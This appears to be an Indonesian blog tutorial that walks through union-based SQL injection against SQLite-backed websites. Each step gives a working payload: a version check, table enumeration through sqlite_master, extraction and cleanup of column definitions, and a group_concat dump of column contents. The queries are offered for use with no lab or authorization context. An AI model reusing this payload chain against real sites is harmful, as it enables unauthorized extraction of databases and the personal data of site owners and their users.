Hii udah lama banget kaga pernah update artikel sampe ga kerasa sudah melewati tahun baru lagi aja ya ehe. Langsung aja kaga usah lama-lama pada kesempatan kali ini gue mau membagikan sebuah tips and trick SQLInjection pada SQLite mungkin sebagian kalian disini juga sudah pernah ataupun sudah mengetahui query pada SQLite Injection, Langsung gimana caranya yuk disimak kak.
Seperti biasa disini gue sudah melakukan union based sampai munculnya angka ataupun yang biasa kalian sebut angka ajaib ya hehe.
Find magic number |
Setelah kalian memunculkan angka, langsung saja kalian mengecek version dari SQLite tersebut, kalian tentunya tidak bisa menggunakan query yang biasanya kalian pakai pada database Mysql, MariaDB dst. SQLite ini mempuyai query sendiri untuk memunculkan query versionnya, Kalian bisa check menggunakan query disini :
sqlite_version()
Checking SQLite version |
Nah sudah kelihatan bukan version dari SQLite versionnya. Gimana kak cara dump tablenya? Langsung kita coba dump tablenya ya, nah bagaimana sudah kelihatan bukan tablenya, kalian bisa menggunkan query dibawah ini untuk memunculkan nama table pada SQLite :
(select group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
Extract table_name SQLite |
Setelah mengetahui tablenya disini gue mencoba untuk melakukan dump salah satu table yang ada, Nah setelah munculkan columns_namenya, kalian cukup menggunakan query ini :
(select sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name') Nb: Change 'table_name' with ur name_table
Extract column_name SQLite |
Tapi kok setelah tahu isi column_namenya berantakan kak? Tenang aja kalian nggak perlu bingung bacanya disini kita akan menggunakan query replace yang bisa merapikan pada columns_namenya, Nah sukses kan sudah rapih sekarang isi dari columns_namenya nggak susah dibaca lagi kayak hati kamu huhu:(( kalian bisa menggunakan query ini :
(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"text",''),"INTEGER",''),"integer",''),"char",''),"BOOLEAN",''),"DEFAULT",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"(128)",''),"(256)",''),"(1000)",''),"NOT NULL",''),",",'||') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name')
Nb: Change 'table_name' with ur table_name
Extract column_name SQLite with replace |
Selanjutkan kita coba dump isi dari columnsnya, Nah sudah terlihat isi dari columnsnya untuk melakukan dump isi columns dari table, kalian bisa menggunkan query dibawah :
(select group_concat(column_name,' || ') from table_name)
Nb: Change column_name and table_name
Dump column_name SQLite |
Gimana? cukup mudah bukan melakukan SQL Injection pada DBMS SQLite ini, mudah dimengerti perbedaannya mungkin hanya sedikit dengan database lainnya hehe, Oke mungkin cukup sekian tutorial kali ini, Jika tidak bisa di mengerti kalian bisa comment, dont forget too share and see you next time byee~
Post a Comment
Post a Comment